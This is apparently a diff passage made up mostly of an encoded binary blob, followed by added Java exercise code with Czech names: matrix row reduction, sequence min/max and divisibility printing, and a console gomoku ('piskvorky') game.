z%?z`-n?an~Ncw5)d|r}W3zVmK%>)HC-$#ONE7k%c~Y)&Tu zMa%Hcr z6e?9bdz@Rh61-58>m4;E8f`3J1`TqREVe{HjneUacp5X~G8+H~Qs^wf|hvoKTL??1#uub=LYI(P6*HW3c4wtXYwXYH%Drki^H-gDAE@p;|5&dr)|TRlZ$ zkR1M6Ox^rL^Pm?4)>~*lZ^Ks!Iha8au@Mu>0*Zp>Pwa@_a44-*M5HN?YOhE%BX7Bw zhy^w=w}s-gU7XI2RF0shOwkAe3GbH2BH8xDZC}Q9QZFSL%NVBTirAm^uDOjydKAvJ zg44K+gatB?2gE#W+J!z;pICLB?&iZ)yWSCsVDMw<=6(LzP}jtV%?00<-7Nc1g_{@R zZf1^cm{(aNx+Z0-$-Az+7k}+>)Y8}fp15yNP_gX=l$Ynn`Q&d-d*c&Yh?+G^tDvWF z8jl0B<=R?yPOMR+2pP+&ED?a?%iX_>U@(x9=1EXlTw}02=jHOfdQQr19R}E;POGdP>b)-sBL$=8m*~DjRT32{0I>G z$5^;@o19geYEf0y#61)p{KBF5Ml^Lv$FcZ14P~Q}d52%h(#Ut$ zUtiHpKiH}@?pc=7l-J2X+RYJVA}w9yHjda5c>2%@g9E-7Rss^2c%lcIL!Ik$zZFdL z=Lsv6FTm0=5Pe~1qtf-#z=#csd|nB2^N??m)plS^gC!?T2!iF6wtWQ^+C|ImxXD$~ z*2B+Mn%fJ?O^ziQ`oq!M*z=m2@@n^|>zKR<$POH8PsgafB^9FdgM^h7{#D@wI2a0T zRn^*k-JidrU>EvdNIGZ>*c*Ev@|r0VzX;F5{RKY{nz%tKR8|$GF{+ zj|1FVnaFwUZ&Ef)dGW8V5f(Nx52)%GH~y?!-VZ5T0X=sC9p#FZZw16S}wej388AHc%O;xOQ63cEsshIFZ0MvzflsO z?5*OhAWzb?UN1H7p~KP|Cu>twBW_!aWw|eiwBG`VK!uwOEjLyc8f!wv8(ip1L)Nyt z8|YL~6f6Ghq4A9>7Uu&33bW9P7dAJA>>(SGBV#=Ay{LEwR=wh!EEF4I?h?X{I&5HQ z&=XBd^2rD0xcOz7bWIw~b+!5_c&y3lX2dsZIhJ^CSST>K@*VSynhP8`E?>FdZ)k z=OXgfWQC46Jl?pTKD_KE4P%E3 z=LJu-Hid1kP3pXyta7lk4{FMdZEdXQqKb(Z}Kas3-eeLNpf)n_i zJkJg+1k1DY9g4zzw$zZYS9=|BC-nR`g!Zsdh{lk|m>3>0W!$Q7i>AVKOqFZ!&~*s2 zvS8vJ@lypI6V2va$L4;~2%-wDMt~~L;*-uvHbZ`f-DmuKV)&#Jm)g0;=WSguel?p@ z1skKlAXyN}>_|0o0Z>}u>HBb-6f+!(rRq1tU1g#5;a?UYsGJ~AT!{T|dAY_UE` zV%C6oM#(l)^o!a)&zD(!64&STusX`OodYRQ3{CjktCM%jjz0dGCZ3FPvUQHRQQFYU zSeVecV=$R6u-k6S+oU2RqyXrG*HDZ|NqF`QlC78sK6k3OH}3dxli$%IXUunwGL185 zEu1~3`Xnxm`hOr3snAx^b8@N28jF&_tbE;NQnY$Qf_H}H!I=+hqwBt%mT~E0L45Mf zIN*Si-?E}87y`&8i_r5FOY4_$kEwN9hsev&ywpZ6S>0~79cxxrTKf~Y$kvs}?DMvx zX|c!t#`0*fr|#+lC@CMo=G4Z2bM>Y!NHnLNVU<5}^1h8R?L{K5I$cvj3sY60bwz$z z0ELB;#f7vc9{C!^K!-$UiRDik2pHRyn@NK9Rc?&j$^b9E>SU5KiGGT$=Ge_>ocdIr zLA5|4kbezwCpQ^EP3~%X6jW|HZmN_&_FgKc27Ov-+XKz0rdTBvG*-)Hq!I^Q&2){o z*b{?4t3>h-=rZI;-k!0vIx|cmPc0+i_xCChkzzkU&I~=PA3-VhwNg!CRMD-fr+6Sg zN#5%ySlEm^D!$>FUQc@tMJ9-&j zC`lL!odxtjQYBe9<9C< z7I@9AUgY7DJ*Z?zt!W|cGE!}jMaHgOXL3IJVzgY`hMv9r*NKUrRrFJXM!D7>J9!&W zQXJETibtlx=;)A;mG;>Sfk!wScG!4PegT`D$!mkI!9{?oy$CljO38hl)?)8;uBkUQ z11i|&7j}5xqx5O|bd=Ub=!g$pDmfV~xi)LV)xHCyTa6Jh!nthvz`m^vAf}>K8G5U-%bs{Dt)?_A5fmGB!e+e{wfij=Fb0>c=l^;|)B; z_lFG2Z+hD`{-cY*_7Rp2Ni9fB7rhaef|azkLCyNbuyr<)CJiTT6*WsaGMhdIceOei zWb{&41J-QnrS5^E6DXu*%TceS~HbnvCkkr z3vMM7mW6yO&Z(ji}WZQ_{1kjo4e%l~Y?lYO+ zv<76flc!XOuhyrxEv-v}d zSx0E$rW$k!DKq=%I{gLL$<0npzLQkQ=h!9qao(~~V*4piPKSnn)Gt%R;uO;z@%R3*o zTMuLPAl*GT>W=?Rtz9^GlF8^EF;#n$kS-L;Fs$!4Z5I+T6^swc$utF)&mdO) z+KofJSB8Z2hBN&8HL^uZTj^p*g@|kE#6!g;Bedz4eL^vMi33DNyO$=1JW`u&8HGLw z%>m$wDlS1F;A1D-IFh}>)^X)DH2Jo3s)_hc6f=2Xus5;=o55paKg?WeHXMzn_SQX| z;nk_4*r&h?WALRtYQoSt^K=AgbCvL-GnL*QrHe19CE!+3v4X9m^1Xb&i$0xt@Km`8 zbW#OSKd}YD{5JBBQUK7+d$94Z^z$vB0za8mr?=CCQ*IwfKE1^nTDq7;_lRNNNYo*O zL#s*EtmB>VALKN9DP>BByHte?O1$Gh| zM17p}sCg}j4BDAG2{q>~%7youv=Z`MTt{hAcQ80wyXDIL%9!{JjK^5U7`T)}mDMYebn`L%V#eFfsG{i6c8Kc?P^e(`VBkqX&DZT=5a zT6|q~13TbGT&C=!L=q5}-MM=T`1oQ7F#$vbFvsXObQec1jpGq(9At`i&Y=8T4BYakQFt=ONPZ zcl?j`sjVKzqI^6j_Th4z;u~T$cF-5jTHVV%Ct|Oi&*G>CwpRdj-TWt1`-=I`P)!j9=w6&v(D2$>MvRTnv4skh0&Z0e4;XN>;5Pq!l zMM$BdDV8$ZT)Nw@meAwmf!Ar9bj-ejaRhv_=h00JJAqe|iwAYG0_@7;wQ8>Q^wl)>?1Pj65l}|+4V^E5 z#Q4y@vB|OQG}<^HWlY`WHEn!&#v(d;Cz{LlO!;=!N{%iQ5p}bXDXE^A(+?<5(UETF-){QNq2)h}VY<9z5_R;k|u_gk( zr2i~@Gi0qWY0Mk`S^>*f*bMGxqo+-c4Tb$WrMC4Bm^LF}$rFy-S>3*z=@yL6K=VP|*hIX=AVLzV$WudcA#DJ3n}Vgf26l zAvwa?1-YJ2eVHZ;g$gs;_MW97hv@XYYK$a?+wnXQa-apTKcWBu<4$LY^mE{aUNF~mhhrDY+@j}fo>&Z|>e?jj02SKFf@19BDs)kjf zmAp47L>#?_+*Sn#)#l3-?`$Dh&%9OeJ$nR=%q4d(B2VIxmz71+MuI@~m1*w z!uzM3ei+*9TKXhwK|(Yk^wcCPEiDJEd5+>TFv<+7=34A?6NAcJbxj`qTXBk(Gj7&# zy@~1osun8|Hjhazpkc+OFHB&0Rp-!9(+J^tRpD`Ez4ZWDZ)jB8evhIij}GDXGnx;D z7Pg_ciR(e#zR^7oCICsIA#^Eq(R$J6rS2hAEXT4ya?whWisNrXJ%u#$!(@AY-(LuD zzp<&Z?9|ve?{38Ljj{vJ)|L+gay$g0Rso%MY7v?*Y|uzl8B(Zjn_a^S$BJVb#5%6W z`DOf&|4=4ZUADYg-l(#suWpR4Hs8rd$b`F*on+t^#7^peD$yx-Gj?)LGLbHE(s`Rx zJ8L0X0_F#09%b}9*!Sy53}!EmM=GHP$j^q)}cdxwv5@#hG!mLqleXM1=yUV?j+2Vw!(xO`Qda)91q!xMsrsuK+l zKGbOP=PNqje6<4;`6PO32kj<=q`#6SsX&>JXJo(W>SabxTSkvmk3rqpOW|}e8Q!by zEW+D^AtdwmSTYd(jb7j{u-tboz8a$(kHm(~J+cs9W(cajo~r9Vt=TzV`9vkR#JqUx zmBr2bY?{%yOO1lh#}l5_>t|2J|Db(1vtSF)jm7**jNK1l6OZYTCC|9!R?aCseK29! zaj&q9T|V_;;35?YJ?G`LKWI$S6RrI4=>51Uy;Afpc*9I`sZ{Zc&q17sUf-yHNOH0q zkNt-OBxFhS3K!Q8dGJBJ>j|iNO>V34O|+90J7t-Bqxj6%yb3%ES~u!f1*%$YO%_Sq zE|uq^hP<3RX35$Xng?fued|{f5$BeU5YJi-&+MbMK|6wcqs#xa>(IHyVip+eJqoGr zlyX-|bhHZif2?!!VwA7iY#Et#DobHm58;Ucm*Vkq(1B4!>*Px}Q8eO|n%_MTlfbRf4yW;XsBYkwEoRRnt>z7;rGIT`!u3V<7%5d_U zHphnF*!7LqoiULf_5!dTYdl8fyEq9wAErN4s7bgj^pv=^pp%;f)wy{(v=9tzB(?pv z^^$Cw$3KP$JS(gNvyY9sCwHD2S)p~+p7AP+%&(K{K}V9^e-S&Vmzt{V#;PRaTK1I) zN~il~R%;NvXx}G}{jQm6m3v%KAUf3vgRZoDHCa1AK)~315*?w4R%Ic&!`S7|GhAP683*9Z$^_66UdnINn%zEs?L%c_AFWa_tcKK) zHLGTQ{-d>0I1l^(4)W<^8G1BltrP* zh2^k_`wlc+-1fxB@Gx5gIg6b(b&x&}E2w$*4(vQ^wKV-9NMo<11hnf>P&l)UH zG$*KE@Vz~-@Wb2#4Kyds+Tru7OQo|q@6{e`ARlOFWmtslaS)fU9C#1DkHz+US$!ZdSH7}vNuTr$vvYBAgrH6t&5Ztvc@o^*lVN-B*7=o~EXL~c^6;_2=rg&!lj zxA!+@*={Rm94Xz@h-^y+}0X@D%BHFyw?*5_M@**h=S)v2>CDrj0(H_ckQvVDo0}@ch#E729 z|0*ThE>%mjGA2bBY}}5unX`yGZ9WMY=r&{0gq3?b<}t1mA6yTJ4Ar|){naQf&GMYyoXwe)_$^SQ@oR1bll4^j*>4{4FUV-@eJuoG z{y~6B&6uBKAyh5ILHM72b`Q#H5a-ok@)^N~=${)Rg{K5)51CcM0r?Mg$*xXubdq(cYbk3~y<^8vE_auyD$u)t2nzGu<;Y3&p%4g1^Oe$SwK2>Y)L@}zk!pz= zGaJ~NnK0@4S+3F5%Iu@-1DVIgFD; zg(Hb80P_7&I`$>`aT54_)sJQ%g@q7`B4^H}4X&$SJlM3&IO)rj`cA1dgSY);lH5)w zvjd*V;eLAV@X$;0PG!+d@?ydEhG3TfEI#&@-c!mFyVd4qnF20aYwPdbf!l_&ixfY#o| zBd!^#x<)30u9f7n9=f6^8grE1CHc!~8xu__Q^yh6S~O*5X7@E!L)-yiq0~!MyTHW& z_8oRtT{#W2^6ae{2Oz<;7(`pQrzZ1=&ZgmwmZGATBF4x9V=!M&Uhd|lm3J=~SO#Gd z(>Lr#b70OpsdKxRQ-vTGW^%f+e#s>AdhQccXD{H?G$@eb&3VmoI=r%r!KiGGQ~$K7 ze_{x6O?R(`jmJ zQC!dz7OajGJu$IsS~7i*LLTqcl4)hi{@|+}26DAAebxkA^D_v5;E{I4(P9faBsy|S zIeBgp9fFh*4A&LUA3j@Cx|PwXXAnf_g3&q2+yYIR5NrDHX|nTziEg*bM}9bW5O_2C zFBygq>EsnZK6!npcu_Xe<;WVf_eXcKaq53@fgbLP_CdPE^y*-f#ZVoBKe?oAZv*d2 zaid=GF4XS2aO02{^xB`X&_O_W8P=Ld8*eV-#y6;H9FNNq$@g}^=t1zMh-EwyIcPJK zP>px$^m_WO+ER#Qg;f?v!Y04#J`HeW#UXXRJOV|QsEhr8>G(-Ux_HX3Zj^10-{^5# zH*?n)9nhWw(``<*?a?^&UmVI6Q6=m!`s; z8GJ=SSB*+F(l{bVJ?xHx2L45)CJ98n>-N=NQ%Q0x9LTQ+1TB@Hr-_Po5vLYYt8?7o z7eCkd+Lqb)w|4bx(gJUYXf^WY#xh^4$rd)%Fi4!agTef zaS|xAO_-TYhZNKh{|}N|dpe-k(iL<^azEHwZfYQ#sCsxMQQQQ5l`)G@Zc+25g|HIK z5)Fd?O(OUkhYXGvCv{P7uFOh|jVHXYaO3{DPX*!Qy9FRYI3^4bFoQOez6rZJIw3th zUOwK#?r_(=V2gT9ziUV%B37ANRVfFwT7|V5X$}~|aSqaz(olAlqW-ZT7Q&>(DiBcI z;$}-VFEyI7T{)Z?X7$XqeD=SD3uE{sdS{IkKY|ysq+oJ{!?v~*qAYW<^jlZSl$rCt z+=;S8x9%ho*Zjr%*&dg7zTW6{j$&;dagl&0vJEgfI@sMeetzNtQij|EKgfY%L?~33_W;i_a#%w8Zz{v4 zvh`hj$W1UyL+@%($OFUaSBfMX3nD4zt;aFldAGHbk8XeOJcX6lHd{eWcSbMfI-%xP^nkia3TF0np;HiYK=;gF*(=~=?0)Ulo zS>l85Qs*a{F4>3BB{%o7lgI7!y-+Eaw;+(XW@Zde4y4-LEM~*5h*@&!9i_lp^%?rz z`#OZk0ByQ}0qE1ktiN(3R)6dSl`yyF$;yj(TxsA>-^_ghU-|wZnD3_j{!5b4SY+q` z&NBmjzC_CNXQc2!Avwl2^g?(QTBaBK+p6_$PO`lob{@qjZv$pBHS1>At`J>dB2}{k zue<-3YrXxKYmGn_1Ay;mK+eJ)``&F#!Ee-v9Ftt+@NoO-9Q=gOXqrYmq+}kPjWM{LOGV_VMVVTj9e4^&0f#`WeLbv6UR0lbt9$mnIz5sH1z6b9P5V z%LHIN%vsWkX?gI0P><+zk|&p}X}xt0Ccnw;#C}|&1cVcaRH1!- z>qj{^&i7KU8b${Eyz6*~jAOtZC!PKGptRJ|7YE-dLFvS^F4YGToR&<8F6)ed{V3@C zoYtHP7b3f@Jwo$uITPk|u~1rG^HeNO z;LW*wuaX{oerT@i+C?YC`PHqo$2FIE>KEiZ^6EF@LqO<1o)zJ`v4u!ie2pU?sp!n)INm9F5B@T&&adb2s>@_YwMY z14(DDv$FvcptV52o@%qGeIb0A`6LRC|5eB3hI618J5RCeDVm^EB(qzI}f=GfId-;i6v@uVZV-MGEwDbmK{+;5JF ziJQH%~1Jm?U=W2QSEWl1g`GAasCj!-4ru~Rhf{@ z!{f!t2v0lvH4|;(oR;tvGHmFFa&iFJDdEi|G0vB47!xT{+#5ZmKvc=Heu0 zH2v%*<1n|$qS7Y3$$GZfn+IVZ`g=oWbIAm=j%gwOg$SwLR9YeqH2kE<=2vhyBJ z^_NW!#mf)Z*kPiDN7T@d{AsHJUgiDqZ+7RG_x_tYmpb1Xmd*N|3E{uL9$b5I&w$hr zfj24fdg3NGfxoc5HJj2Jt8ISFPuz4^nP&QLdN8TAC#+KtS_za4aX{e9AOVh?BP9Aa zL1^Q%nhmdH0T7in z`s`|@EmLgfDBZpv8(%QJzj8eGe8&a{R#k$aZ?)$@N=9k{ zXF%}zgWuZ5cuG{l|AYn?t9gJvaXVJHw+JX31H3l@N?`Jp@HdrnrCZ{4M#Ys<)9-AE zB4aB084*=dP7i$qmuUdr3UTf3P+Bfq(Wub z&sgaYF>#hyK3blcR@{uAK+9IspYG?))t%`OANuBJJpfJIG;vwtSh!uug$L8Eu&Z1E zNrQ*pjup~Oh%Zx4Z|_eEc=5VkUu3+VR~>pnE`bs0xV5-vz`uIIyZwf(_AIWio{7=5 ztc^fuFZj*r61 z7=I{JHd`ga%jo~3VI`PTm9^9=((6Y*?MZ6LvG4!F-{>j!*bTVy1(G`C3xVFbY|Lfk zJZ)vDfMr9B*-k+qIlwW=qssKR6yYNv1|{79s7u~Q>4Deg-RjzX)KtTPkY6hSS<1j- z#_}fGP#LdQn_i7xAiA?hZ7m)2;J6g?drhridW*gDD=+l7R3TX_;B#oxvR|)#rn2dus~30$|4Hk6Ith%c(pa!a=3{%bhEPaR1vzx zf**3!XMMzU^GVR-uQC6f4{_J}o<9ujpv6|hn=#wgPTzRLrfkMijf~P{T5nm%CK=2p z)wsb~uAmr_?vLeLi8QQDU39r+U>J`UE|YM#?t8-+Y^zPZQ}8YM<_tDDpXx-1B0@@C zy2dIG+F4;M!50&Pazr?&*?DLL=K`1w%p9@n@U2@0YF5N@zV#C^paP7;g#8gBa%uyd ziu*~BUoq%^;)(yk!nF7pJQrYhUT`9&CFpxQDZ%$)6ho_F~*oVV)_QP&eu zrq1w>IOF!DoAKW~qS@)hf8p*UiPQ8el%xw`gCe+s7pSaq;o!ZdD`&?KZv)I~rXwB3 zg20PMj~>sYZmwVp0DcQie`KbP3#u5T7ECDQ(c4GtLeN%HYK91-W7vhDCy#M=^L`D6 z#5FmSVgrfA9AmVvgHM10rDlF-&jazeFqr3h^UOh%<_CoJR)e;3tP8`RyT0m{YM4yF z1K`Nn96Lunu;0?#-_fsCLq>M{G4@0a#I&}6gNh#IWY7v0#CZxdOv(KPv2uuedRWx_ z9vBZ%74r*%Z$O(tdn_kAYG5#yo^?+B-|>+CFN1iBEfPEXQE|r_Ke9$(y)e*c&AD|d zSQiFhWYOwrgUnpJzj}N6y^w+>g>Dye$A`r&d;Utvqoep4YIqjY?k6^0W+^%odDoX# zJmg?Yrdf{%x+cd2K|^;C301E@i8Oy%BZC8S)Ibmholr=`mtYA<8N0OLN3(qoB#kNm zC6J`wRovKHowvWLoROJLl)H{9H!Ut+I~C^YWSoY-i5tn! zta8UM;uy(SDZq~3-S-CZrv-O+SkFoW#rWznJ6}7kD&Y)R-9M2#b3Ko;{7nAma2eh zg`@#DJpSS2%bI>#F5TJyL`$6!O9+_9q8##X@FMkcmwM?>w{EqTKe=(6KzqAH+ z3IJm!*iZ!VNtp8Xiv!J1u+;w$JNg>mj0b_KA$b`Dlv=2Bg$oexr&~xU(XRlnm#YwU z^^KS?X{5F!sv+P!zyF!KMA;7#`afo_Fz;vVinhZEf8;S+{jW%CnSGC)8qa*@Rsb-^ zc71K`cIz-4<6&YgkWVCB1>0n2_uKd#x-0gh8p$6pu@OQ0W9@}!v*0gzfg5QB$X@+B zXo6C(SQ`RTY+rm0%;9Y0R}+^X_FSq=yy&r*5F#5KcO9zpt@R zVg9MHyzuWlxUzobGeZnh@P1251$J=$@4N{(i=-CnLc04J7=5r4;bX*6SeorT01}Ed~g$oFP6^u_70QF2OlmbFf zTIK7P^RIdv*c5dXl72*!xvub|;KR0kjr+Dh(!-LYO7~v;z7eQJ8Q$1fK0G!5()ehb zp~a&yL}IzQjL|s8ylf@YJg~lysA{d4MJ^1Oa&U~((JU-f@EtcWxTPS2-}V1q#(Jv5 z!cPUeGZWl ze0?CSTps4G#Z6!+0@dVigo`mPB(XLK)w z6ETPCz>nbAzS}^s51R+aKv1F!Nnm>YPbr$vYm-+?01f|)U~_UoThAyB|S-c!wglbe4T+NFTMMGoxr1yssVWdw0Q zrte7*CwHSHgpC8Yy@ySa^;isOT?RO8YagY55SSSo$>4h(vWv(3vVQrR3;TYN#E+ zRGb$nP&(eC&FC8cf_Bx&Yi;)QlK0P8<#*mnN4xj5Xare1M|=R|hquP_fHmd@VMf%omtzxzlK;X zrTj{6{vtq^2FX1bklP=5bNvu9MGCg|Ps-+2qGM3FY# zZ{qfHE(Et4fPfa=6SHnAyzrLT9*8WyaRqoa$o5EJ^FH;V-8gB74$}E}yCKW}icM$i zmBuPVi~DZ@kH+adxOw*HB~2x6Kn~DTv@&F?-8xeL{sxDcOhqSl<|AT42Ww|m`40X*j#^g;z#bVwMBkDpUWL3ibF48;3^fUS>={mNG? z)0z;J0bw`5#y4#E>Lq2Ur8Mspo2gZFDEHmI7DxFtwgJMhG>mDborHe;mS1g-z00&Y z-ai#RBKD!XRT*QN7<0L-V#zlhB!G>-jGz8;N&6#H7~6O{Oms8l4rDy`%+Gt<+LtZw zC|mf_4rYr=8lKc1>JUoh9j=UFcoy-_ot2RJHkd-he)|FgRXSmx0fV-C7rH$KJkSnf z!$SjtxD63ySq3|RCh674u>r~Qk4PabcQ)dEvv9mu7r*To{>|G0Cw-^x zV88!HHL$l^iBhK@cl_Myp_vBx$DR*=1pghygn93W40m6r$!%3cf4~&-47=Ng;36fA zyIFU`N^#h6`E+F*QUqqbDB{t%KFE5~sa>KsOisLaks)KsUPnUYI$!M3EeeeR``MPXz~p~M0OBC*wu)PKL$o<9JBR& zWQ}!+1^&YK31~?p)#LtCq5eW(6uq+8edjmL09xBuDWZvF&StA3D@5a&?n+~F!PWKx z8kCz8BJZ7o-AopH(`$qay8aU5t2968s#g+z!ndneymSBx+F2vhff$53e=_)h8*$k@ z>mQrUp{BR-3qtVX>ogI~waWWqrmQc{^G-p}A^o&p2|z;#1EF!%X~D1q^haTr|En8R zg$`Fj?TBUU+{Rz*StQ}cK3xmjwZJM}iucs6$zhK_<{MGky}f#%&4cCjO$MtiM=|;4fYlH;d*mPu zRw|J-*T_r>1<-(h#6jRq&T{jSK$h11=^YFYsO6QRYH> z6(L4VooCm(`!BiWKGpd0Lh6CM=d5Tgd0*)J_2p*}L%^M?zrRzQdC9^B$UvmTsm?bU zWNWc<2i*?K2FPo~4KBm>AamAm>BY$3gXaWyv?H6M|GDo)2khV?(az+NbOopJvb%x-axxp6 zqZn+3Ym9C|Y}oz2L{l5Br}+6hHhas~47~bXqqQS2X?v_Q*QXdUjySu&Z?#b<1p1;$ z!uo+?-Ls~BX8r{`4*%c!b)S|WfC=LM-O7Wvt)SITWYrW!IS{ldp-rpW$eOQ^3=8kM zI94V`P|tV!IB{oqvghNlKJE5xy*A&KriJrGG4q=A!&*ggFm)Z7I$NaK6wr#r0)c0t zlMs?wUG3+P8So0Ss=}PohWzeBrHZAs{__nchAyzlKRa+-h9#g?Xaa*neQsL{Jux3- zRIUUL2$LktQs$UVkFV92kW%d>%Js7~>$J*VR~VSp_AZsU@BEDrdB>#KuQ~Ab{+5?< zKTfK>9_L*tC<0EfAq??)`aa&tzU#OZsDbCEQ^;ZG_K803{WhQFe{9FH%s$`7z>h!# zUf2UIR@eAv9|xD+kJ9fhKE>|;K1?r*z|j7@tE1b~p$b|2MuLE5IXUQ@Pk_wB}#c?Ts>!6N!yY!yO)Qr4QfA zG15_0?8x#5jAr7~yc`aVKqkfxP=o#UYHLE!;t4U-Tcf8v5n&C-AEctUClTuQYIxQX z1`N;jE^50P_gqi$JdgGh&V+@JMZaE$Zh7i`OGtLxt7PCg`SR6sGYbmJHvSMT+%k#X z`h7rSJRfWI=9JrXZx`Ocr!|l3gSVF8sj9tiZ`n16kG~dBG~G_#1{ayrGa=u7_71K& z6SmXFH7yG4x&Qgp8!p{VI^cdMN%7+Ps`-HG=Ho-;#+OY&Fl0wUZmV<7tJ!OE33xER3gzkNOw>u;}d)4b-R^5&kgJ)TR@7xj-dUCS@mTGd`(Vw+& zTCG7z;;5(~XFr~8xed@LvF3K<#jL7lUoHQdZ@XBPSy}a(IFkDejItXTz$&>mpyi?| zTwi_{3Vhof0=Mv{ptLt00sa`*E}r@?hGUXlFNY{j>-RPctIis0-{{w8Iec96C1ZVf zOBkdgQ&JwMeWmX8(l5qymnt8kJqiRujuICZc%`o4_Ww0@-9b&Ido->fx~LckRUjH# z=+Y4+;VB`4R7F6lCM&4O0)mDXN^FsmAP7ho1O%i71q6hM8;XqxN)y%*-UjDI+(7}(Kjd9P0&Cv|7 zMp=zws(MfG5_NBQ&)M+RYz+=86Fukrb)}!_t~opqS!R0m;i1fqB`V(Cg%SF}*{Xj< zf-TZ~YzWA?n!N{NM z*g0~KnVohdeKUvtFPh8NRmjZzDA$pAq@?g_EWJe!;hq8Q8*q@GJU!anMZig_Iac1l zdxkW&+o>GCJt|XWG97d2lwnwCvA`L)rYS9LTs;d@)^zGc()gW`?`<;Z=MLe zTo^+q)#LF~HZC3Y6RFg&5h2`kXqT`nSYxRozuM<=5WVD6lFQ&!B=j`#l9_(eM83m#W!1*j zFBKskmdd#F`1XY5>sgt|xtF0+yq-P?R=)FUfC+7?KlI%`XPo=SAg)^5+I@YN8bz$$ z@P7B2w}x^1yE1}3NmkQLGHFt~mLg5kN?d`FGjq|%*^8%Bl-)_5egt)UtZ4yu)$G#? z21+H0wM2xX*3D=PJM4oQ8A8Ypw-{n|TiRI$>$fcTW%T&_u-{ralDZy}^cg)Pe^#sU zQjnI+5baY7ENA$pD|q1}6+e^MFbr&u^!wJci%({k+eRQY#sAa+h4A^|4BLxpizC?k zo_3_@W0~#b5au(g{k-*pr}o%cCA7--XZnqzPZ!)8ACX28%aH;|*2kT6Bqy|zJn|r0 z;QIPv@~lu(R8#5^Lre&*EJ=IJ-x8gqcJ!z(rhl0IP86xbA*|66As501vPIoluiLZm zd25LaLvhM;SH(9{e6^C>HfRoEYSJOI{?v`ngZ+)b_Ppuov3!NqV?l$r`N>E&)6j=~ z^Mt6R`%;?aC#>(BD4V1`E{YosZs_5RM1RK&k)@^6*Bi+=)5MzA(LjCEmXu_j#9^3# zRJR@i>Izj2?B<8A4I+luYXqhzU#hGP6-Pr0vs(%z=|d9n1JP8+HOf!LW+%MiEfveJ z&WD?5k2}AW;0&c?6^9MoTe+LL;a9p+g%X{uFUP;sj}*XPZck6@9Y+LTNl)#3Kqh9+ zK$*c))XbGTdJRhn(5b#Y&Wd%zV&BZp@lEqjL0Y?TOvc*dyL{0xXAD>iZ3UX5HIf1? z-yHL!k9}{!x5g}uBg(x#=BmVw9do_J|+Yl{_-0oJA9+BuEFrxQO+9F84vU5^Iemr+IL50Uu3|z1EyI z=04vYpGQ}Bz2?(16^{4t3R~A7i86G$R#u4*?(=5WUYMF?gsLriGRv>8LHk!KU8V|= z{*&I`(TfhDH=OSKne!q0#m|nxtPvvqrWb2lPssc8zXXtkEiKH7hRr9n9WC2@`}reQ zJJ+ImXh%^_%~w7fc%!8*rmsa}(Hh(%GplHu{(D23em|!ewB8z%uZ~z-t`a3lNr6w~lIsJUUG7;-YqaU|7b@Z(2e)09C_u-pb-ayv_J?&Be={T;7qYBj*M>dAiL*F0e zP^IUj)jpJQ)+B;s?mSpMx7RMEPs+yGJka55h+1vna!YxljBW)`a-G8Ui&)}!6RC?A zYfl`r;gtv6MO$CF&I6m<_!9sZm0vCZ7Ag@crWPIEQmzMU4V{;2icCPDhw)0}GTu3T zm+~t!KiXCaCyE_!K}NO<^V2Cu68Y`{lt$6U=TgU80e1etuHF6cat+KG+9FX3th#dW zogY-q7V`M3^-L7%&}-R!G9}U7p+BZN!9A1O`^|hctRY@T@~lvGrq^zOyp2r(H=X4m za*ktP_ijO#_d-oSh_Nz_4n7nOY$agKtX(=tmJ&fxo`Wwz3QNp(CO#OzWWpI}9*KW_ zdMhl&7MPxznJHPl4?61$8!9G}hrpJi&dqL@d(mPCnUeWwMZHqz@}tGypKP3=WwsM!yz2%I1RRCD#TT#w5a?XY!`vQ& zTHOF#)tLVTz>%1BqC)3in%7}_z2n|*&{ywui?_>LX#m|Tjd%}p=ixvZuEeAO)tPSB zSGUvL3rou8C<5I5Jo`!;`AsWRAa2Py!k^p6?FfQ>F+)8y! z*d>7`JWa#Innqmna;nL}aw75d_4S7=Cw5PJMf{Dw|y z2)gt^ytLyj3F<{T`hHxFB1dFjOxPE<@3wK%p~&ykPUUgXYm$fsUHpZsn!VGrfIscu z4FZB>5J)=}a<}6z6!|HLW$*u8MnWiC728`sl6q}`writ$P(~M}Lhc5)!=iE=qjuXp zFq0_4xYEWxxtEc;<$>P%~x7MP6;Of2D88*Vm4FCjhgT| zz>qCM}2Z^X@1B+Aol2Z_O}X|CwHnaR0a+XberZkI`P4 zUH42U>uJ+&kTL$G?`O%7O_dk87Q$JtE?kvpx1N_l&dqjR&KUa@{}d%W>WPf;35$+BVL$TV3>Ti}gaILYh?g1z4j3+iA}k~>SOW8)d0Q&Cva}ya z2q2_Ino!1IM>2V`%5xn3DW*C!ZZ73{W^wO0&%L|iFZ};+qOC~n0KuQ~D7>n$NaS6c zb=0bld=suI$f@YS(+$w zKwlMVDh5BgCUGO)YTjQHWqV7|e7?&Wa!{3F^gI3=Ttrb@tEjlt3xulPBnN(cj~r`C zH7ZtQ%5B&R(2Wh`p9a9|6%c@3d)lrGM_Vd81WY5#%c`sOU?eF-w-(;dGvwE~?8m<` z+Yf<(WD*3t!1RoP7;uT%qUS=q^x;PG7YNE0_*fuy<+lnp=D(;T#|@OqaIZs}ma$k( zu5{!9`$^!bTrvGujo%vBn}}w$C6B#M;5@w$3RVYpfF#ZkZl1f2{ZAo{C1URitXjDD ze#z_!`SxudN8|;A9%;zwKRg?x5+Hhv+dmN8F7jG7!@21Rt3`wkRRyPsb}wQTNW2Zw~n40R9QH2Nfps~TUG zHZWM1!tlaC#+T*v=Rdn|Gxz!r=Hhse`gU7kOC>!>oVmA5*ltwSdy@e zgg}MgR3K8m-*RfhOuL*doh@)w$K)Lxf$E&GnY3KfFl9BrnG2?SXT zeEN#O{XGN|`n}Ik^j%cwkrodjUGWg6Tj^8LDi5k2lvJ&FD8q-5V=@vsF1e@{t== 0; row--) { + //reduceRow(row); + double multiplier; + for(j=row+1; j < y; j++) { + if(o.matrix[row][j] != 0) { + multiplier = -o.matrix[row][j]; + //addRow(j, row, multiplier); + //(int fromRow, int toRow, double mult) + for(i=0; i max) max = seq[i]; + } + System.out.println("minimum = "+min); + System.out.println("maximum = "+max); + } + + public void vypisDelitelne(double a) { + System.out.println("Cisla delitelna "+a+":"); + int i; + for(i=0;i= size || y < 0 || y >= size || pole[x][y] != prazdno) { + chyba = false; + System.out.println("\t\t\tneplatne pole!"); + kriz = !kriz; continue; //dalsi pokus + } + pole[x][y]=hrac; + } + + } +} + +/** + * trida demonstrujici pouziti tridy PiskvorciPole + * @author Honza + */ +public class piskvorky { + public static void main (String argv[]) { + System.out.println("\t\t===> PISKVORKY <==="); + System.out.println("\tHru lze prerusit stisknutim ctrl+c, nebo pres netbeans."); + PiskvorciPole pp = new PiskvorciPole(20); //vytvorime nove pole 20x20 + pp.hrat(); //spustime hru + 